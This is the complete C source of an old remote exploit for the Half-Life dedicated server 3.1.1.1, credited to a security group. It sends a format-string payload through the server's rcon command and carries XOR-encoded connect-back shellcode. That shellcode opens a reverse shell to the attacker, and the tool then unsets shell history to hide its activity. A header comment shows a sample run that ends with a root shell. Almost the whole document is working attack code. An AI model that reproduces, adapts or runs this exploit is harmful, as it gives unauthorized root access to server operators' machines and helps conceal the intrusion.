Halflife 3.1.1.1 - Remote exploit
/* _ ________ _____ ______
__ ___ ____ /____.------` /_______.------.___.----` ___/____ _______
_/ \ _ /\ __. __// ___/_ ___. /_\ /_ | _/
___ ._\ . \\ /__ _____/ _ / \_ | /__ | _| slc | _____ _
- -------\______||--._____\---._______//-|__ //-.___|----._____||
/ \ /
Halflife 3.1.1.1 - Remote exploit \/ by eSDee (esdee@netric.org)
-------------------------------------------------------------------------------
Copyright (c) 2003 Netric Security
All rights reserved.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
/*
[esdee@flopppp esdee]$ ./hlds-expl -t3 10.0.0.7
hlds - 3.1.1.1 - Remote exploit by eSDee (esdee@netric.org)
-----------------------------------------------------------
[+] Local IP address : 10.0.0.7:62428
[+] Target selected : hlds 3.1.1.1 - (hlds_amd)
[+] write address : 0x40143BD8
[+] shellcode address : 0x405CC1D4
[+] stack pops : 21
[+] Challenge id : 4050320626
[+] Shellcode XOR value: 0x8E
[+] Worked!
-----------------------------------------------------------
Linux flopppp 2.4.18-14 #1 Wed Sep 4 12:13:11 EDT 2002 i686 athlon i386 GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
*** netric gespuis...
*/
#define MODE_ADDR_WRITE 0x01
#define MODE_ADDR_SHELL 0x02
#define MODE_POPS 0x04
#include <stdio.h>
#include <string.h>
#include <stdarg.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <linux/sockios.h>
char
linux_connect_back[] = /* looping connectback code, not really optimized :) */
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xdb\xbb\xff"
"\xff\xff\x0c\x53\x50\x89\xe3\xb0"
"\xa2\xcd\x80\x31\xc0\x31\xdb\x31"
"\xc9\x51\x51\x68"
"\x11\x11\x11\x11" // ip address
"\x66\x68"
"\xb0\xef" // port
"\xb1\x02\x66\x51"
"\x89\xe7\xb3\x10\x53\x57\x52\x89"
"\xe1\xb3\x03\xb0\x66\xcd\x80\x31"
"\xc9\x39\xc1\x75\xab\x31\xc0\xb0"
"\x3f\x89\xd3\xcd\x80\x31\xc0\xb0"
"\x3f\x89\xd3\xb1\x01\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd"
"\x80\x31\xc0\x31\xd2\x50\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x50\x53\x89\xe1\xb0\x0b"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
struct {
char *type;
unsigned long jump_address;
unsigned long write_address;
int pops;
int written;
int pad;
} targets[] = {
{ "hlds 3.1.1.1 - (hlds_i486)", 0x405E4970, 0x4015C57C, 21, 0x3b, 0 },
{ "hlds 3.1.1.1 - (hlds_i686)", 0x405ce310, 0x401453A8, 21, 0x3b, 0 },
{ "hlds 3.1.1.1 - (hlds_amd) ", 0x405cc1d4, 0x40143BD8, 21, 0x3b, 0 },
{ "hlds 3.1.1.1 - (Crash) ", 0xbade5dee, 0xbade5dee, 21, 0x3b, 0 },
};
void
usage(char *prog)
{
fprintf(stderr, "Usage: %s [-dDpPsTw] <-t type> <host>\n"
"-d <device> device for the listener. (default: eth0)\n"
"-p <port> port of the remote host (default: 27015)\n"
"-D <delay> delay. (default: 12 seconds)\n"
"-T <timeout> timeout. (default: 4 seconds)\n"
"-t <type> presets (0 for a list)\n"
"-P <pops> number of stackpops\n"
"-s <address> address of shellcode\n"
"-w <address> write address\n"
"\n", prog);
exit(1);
}
int
bad_char(unsigned char c)
{
char chars[] = { 0x00, 0x0a, 0x0c, 0x90, 0x22, 0x20, '\"' };
int i = 0;
for (i = 0; i < sizeof(chars); i++)
if (c == (unsigned char) chars[i]) return 1;
return 0;
}
void
build_shellcode(char *dest, size_t size_send_buf, char *shellcode, size_t size_shell)
{
char alt_nops[] = { 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56,
0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5d, 0x5e,
0x5f, 0x60, 0x9b, 0x9c, 0x9e, 0x99, 0x96,
0x97, 0x95, 0x93, 0x91, 0x4d, 0x48, 0x47,
0x40, 0x41, 0x37, 0x3f, 0x97, 0x46, 0x4e,
0xf8, 0x92, 0xfc, 0x98, 0x27, 0x9f, 0xf9,
0x4a, 0x44, 0x42, 0x43, 0x49, 0x4b, 0xf5,
0x45, 0x4c, 0x2f };
char xor_decoder[] = "\xeb\x11\x5b\x80\xc3\x02\x8a\x03"
"\x3c\x90\x74\x0e\x34\x41\x88\x03"
"\x43\xeb\xf3\xe8\xea\xff\xff\xff"
"\xc9\xc3";
size_t i = 0;
int bad_chars = 0;
int xor_value = 0;
for (i = 0; i <= size_send_buf; i++)
dest[i] = alt_nops[rand() % sizeof(alt_nops)];
while(1) {
xor_value = rand() & 0xff;
bad_chars = 0;
for (i = 0; i <= size_shell; i++) {
dest[size_send_buf - size_shell + i - 1] = shellcode[i] ^ xor_value;
if (bad_char(shellcode[i] ^ xor_value) == 1) bad_chars = 1;
}
if (bad_chars == 0) break;
}
xor_decoder[13] = xor_value;
fprintf(stderr, "[+] Shellcode XOR value: 0x%02X\n", xor_value);
dest[size_send_buf - 1] = 0x90;
memcpy(dest + size_send_buf - size_shell - sizeof(xor_decoder), xor_decoder, sizeof(xor_decoder) - 1);
}
void
send_msg(int sock, struct sockaddr *dest, unsigned long size, char *fmt, ...)
{
char buffer[4096];
va_list ap;
va_start(ap, fmt);
vsnprintf(buffer, sizeof(buffer) - 1, fmt, ap);
va_end(ap);
if (sendto(sock, buffer, strlen(buffer), 0, dest, size) < 0) {
fprintf(stderr, "sendto() error.\n");
exit(1);
}
}
int
padding(int write_byte, int already_written)
{
int padding;
write_byte += 0x100;
already_written %= 0x100;
padding = (write_byte - already_written) % 0x100;
if (padding < 10) padding += 0x100;
return padding;
}
void
shell(int sock)
{
fd_set fd_read;
char buff[1024], *cmd="unset HISTFILE; /bin/uname -a;/usr/bin/id; echo '*** netric gespuis...'\n";
int n;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
if (select(sock+1, &fd_read, NULL, NULL, NULL) < 0) break;
if (FD_ISSET(sock, &fd_read)) {
if ((n = recv(sock, buff, sizeof(buff), 0)) < 0){
fprintf(stderr, "[+] EOF\n");
exit(2);
}
if (write(1, buff, n) <0) break;
}
if (FD_ISSET(0, &fd_read)) {
if ((n = read(0, buff, sizeof(buff))) < 0){
fprintf(stderr,"[+] EOF\n");
exit(2);
}
if (send(sock, buff, n, 0) < 0) break;
}
}
fprintf(stderr,"[+] Connection lost.\n\n");
exit(0);
}
unsigned char
*get_my_ip_addr(int sockfd, struct ifreq *ifr)
{
struct sockaddr_in sin;
char *b = (char *) malloc(4);
if (ioctl(sockfd ,SIOCGIFADDR,ifr) < 0) {
fprintf(stderr, "Unable to get the local IP Address, use -d.\n");
exit(1);
}
memcpy(&sin, &ifr->ifr_addr, sizeof(struct sockaddr_in));
memcpy(b, (char *) &sin.sin_addr.s_addr, 4);
return b;
}
int
main(int argc, char *argv[])
{
char send_buf[4096];
char recv_buf[4096];
char shellbuf[300];
char challenge_id[32];
char writecode[256];
char device[256] = "eth0";
unsigned char *ptr;
struct hostent *hp;
struct sockaddr_in dest;
struct sockaddr_in sin_listener;
struct ifreq ifr;
struct timeval timeout;
fd_set fdread;
int delay = 12;
int i = 0;
int mode = 0;
int local_port = 0;
int opt = 0;
int pops = 0;
int port = 27015;
int ret = 0;
int sin_len = sizeof (struct sockaddr_in);
int sock = 0;
int sock2 = 0;
int listener = 0;
int time_out = 4;
int tmp = 0;
int type = 0;
unsigned long write_address = 0;
unsigned long jump_address = 0;
srand(getpid());
fprintf(stdout, "hlds - 3.1.1.1 - Remote exploit by eSDee (esdee@netric.org)\n"
"-----------------------------------------------------------\n");
while((opt = getopt(argc, argv, "D:d:s:p:P:T:t:w:")) != EOF) {
switch(opt) {
case 'D':
delay = atoi(optarg);
break;
case 'd':
memset(device, 0x00, sizeof(device));
strncpy(device, optarg, sizeof(device) - 1);
break;
case 's':
mode += MODE_ADDR_SHELL;
jump_address = strtoul(optarg, &optarg, 16);
break;
case 't':
type = atoi(optarg);
if (type == 0 || type > sizeof(targets) / 24) {
for(i = 0; i < sizeof(targets) / 24; i++)
fprintf(stdout, "%02d. %s [0x%08x - 0x%08x]\n", i + 1,
targets[i].type, (unsigned int) targets[i].jump_address,
(unsigned int) targets[i].write_address);
fprintf(stdout, "\n");
return -1;
}
break;
case 'p':
port=atoi(optarg);
if ((port <= 0) || (port > 65535)) {
fprintf(stderr,"Invalid port.\n");
return -1;
}
break;
case 'P':
mode += MODE_POPS;
pops = atoi(optarg);
break;
case 'T':
time_out = atoi(optarg);
break;
case 'w':
mode += MODE_ADDR_WRITE;
write_address = strtoul(optarg, &optarg, 16);
break;
default:
usage(argv[0] == NULL ? "half" : argv[0]);
break;
}
}
timeout.tv_sec = time_out;
timeout.tv_usec = 0;
if (argv[optind] == NULL || type == 0) usage(argv[0] == NULL ? "half" : argv[0]);
if ((hp = gethostbyname(argv[optind])) == NULL) {
fprintf(stderr, "Unable to resolve %s...\n", argv[optind]);
return -1;
}
memset((char *)&dest, 0x00, sizeof(dest));
memcpy((char *)&dest.sin_addr, hp->h_addr, hp->h_length);
strncpy(ifr.ifr_name, device, 15);
dest.sin_family = AF_INET;
dest.sin_port = htons(port);
if ((sock = socket(AF_INET, SOCK_DGRAM, 17)) < 0) {
fprintf(stderr, "socket() error.\n");
return -1;
}
if ((listener = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
fprintf(stderr, "socket() error.\n");
return -1;
}
ptr = get_my_ip_addr(sock, &ifr);
memcpy(&sin_listener.sin_addr.s_addr, ptr, 4);
sin_listener.sin_family = AF_INET;
memset(&sin_listener.sin_zero, 0x00, 8);
while(1) {
local_port = 1024 + (rand() % 65535 - 1024);
sin_listener.sin_port = htons(local_port);
if (!bind(listener, (struct sockaddr *) &sin_listener, sin_len)) break;
}
linux_connect_back[58] = local_port >> 8;
linux_connect_back[59] = local_port >> 0;
listen(listener, 1);
if ((mode & MODE_POPS) == MODE_POPS)
targets[type - 1].pops = pops;
if ((mode & MODE_ADDR_SHELL) == MODE_ADDR_SHELL)
targets[type - 1].jump_address = jump_address;
if ((mode & MODE_ADDR_WRITE) == MODE_ADDR_WRITE)
targets[type - 1].write_address = write_address;
fprintf(stderr, "[+] Local IP address : %u.%u.%u.%u:%u\n"
"[+] Target selected : %s\n"
"[+] write address : 0x%08X\n"
"[+] shellcode address : 0x%08X\n"
"[+] stack pops : %d\n",
(unsigned int) *(ptr), (unsigned int) *(ptr + 1), (unsigned int) *(ptr + 2),
(unsigned int) *(ptr + 3), local_port, targets[type - 1].type,
(unsigned int) targets[type - 1].write_address,
(unsigned int) targets[type - 1].jump_address, targets[type - 1].pops);
linux_connect_back[52] = (unsigned int) *(ptr + 0);
linux_connect_back[53] = (unsigned int) *(ptr + 1);
linux_connect_back[54] = (unsigned int) *(ptr + 2);
linux_connect_back[55] = (unsigned int) *(ptr + 3);
send_msg(sock, (struct sockaddr *)&dest, sizeof(dest), "%c%c%c%cchallenge rcon\n", 0xFF, 0xFF, 0xFF, 0xFF);
FD_ZERO(&fdread);
FD_SET(sock, &fdread);
memset(recv_buf, 0x00, sizeof(recv_buf));
while(1) {
ret = select(FD_SETSIZE, &fdread, NULL, NULL, &timeout);
if (ret < 0) {
close(sock);
close(listener);
fprintf(stderr, "select() error.\n");
return -1;
}
if (ret == 0) {
close(sock);
close(listener);
fprintf(stderr, "[+] Server is not responding.\n");
return -1;
}
if(FD_ISSET(sock, &fdread)) {
if (recv(sock, recv_buf, sizeof(recv_buf), 0) < 0) {
fprintf(stderr, "recv() error\n");
close(port);
close(listener);
return -1;
}
memset(challenge_id, 0x00, sizeof(challenge_id));
strncpy(challenge_id, recv_buf + 19, sizeof(challenge_id) - 1);
for (i = 0; i < strlen(challenge_id); i++)
if (challenge_id[i] == 0x0a) challenge_id[i] = 0x00;
break;
}
}
fprintf(stderr, "[+] Challenge id : %s\n", challenge_id);
build_shellcode(shellbuf, sizeof(shellbuf) - 2, linux_connect_back, sizeof(linux_connect_back) - 1);
shellbuf[sizeof(shellbuf) - 1] = 0x00;
memset(send_buf, 0x00, sizeof(send_buf));
memset(send_buf, 0x41, 80);
for(i = targets[type - 1].pad; i < (32 + targets[type - 1].pad); i += 8) {
send_buf[i + 0] = ((targets[type - 1].write_address + (i / 8)) & 0x000000ff);
send_buf[i + 1] = (targets[type - 1].write_address & 0x0000ff00) >> 8;
send_buf[i + 2] = (targets[type - 1].write_address & 0x00ff0000) >> 16;
send_buf[i + 3] = (targets[type - 1].write_address & 0xff000000) >> 24;
}
send_buf[64 + targets[type - 1].pad] = 0x00;
for (i = 0; i < targets[type - 1].pops; i++)
strncat(send_buf,"%08x.", sizeof(send_buf) - strlen(send_buf) - 1);
for (i = 0; i <= 24; i += 8) {
tmp = padding((targets[type - 1].jump_address >> i) & 0xff, (targets[type - 1].written - targets[type - 1].pad)) + 10;
snprintf(writecode, sizeof(writecode) - 1, "%%%du%%n", tmp);
strncat(send_buf, writecode, sizeof(send_buf) - strlen(send_buf) - 1);
targets[type - 1].written += tmp;
}
while(1) {
send_msg(sock, (struct sockaddr *)&dest, sizeof(dest), "%c%c%c%crcon %s %s\n",
0xFF, 0xFF, 0xFF, 0xFF, challenge_id, send_buf);
send_msg(sock, (struct sockaddr *)&dest, sizeof(dest), "%c%c%c%crcon %s\n",
0xFF, 0xFF, 0xFF, 0xFF, shellbuf);
FD_ZERO(&fdread);
FD_SET(listener, &fdread);
timeout.tv_sec = time_out;
timeout.tv_usec = 0;
while(1) {
ret = select(FD_SETSIZE, &fdread, NULL, NULL, &timeout);
if (ret < 0) {
close(sock);
close(listener);
fprintf(stderr, "select() error.\n");
return -1;
}
if (ret == 0) {
fprintf(stderr, "[+] Failed, waiting %d seconds.\n"
"[+] Use ctrl-c to abort.\n", delay);
sleep(delay);
break;
}
if(FD_ISSET(listener, &fdread)) {
sock2 = accept(listener, (struct sockaddr *)&sin_listener, &sin_len);
close(sock);
close(listener);
fprintf(stderr, "[+] Worked!\n"
"-----------------------------------------------------------\n");
shell(sock2);
close(sock2);
return 0;
}
}
}
fprintf(stderr, "[+] Exploit failed.\n");
close(listener);
close(sock);
return 0;
}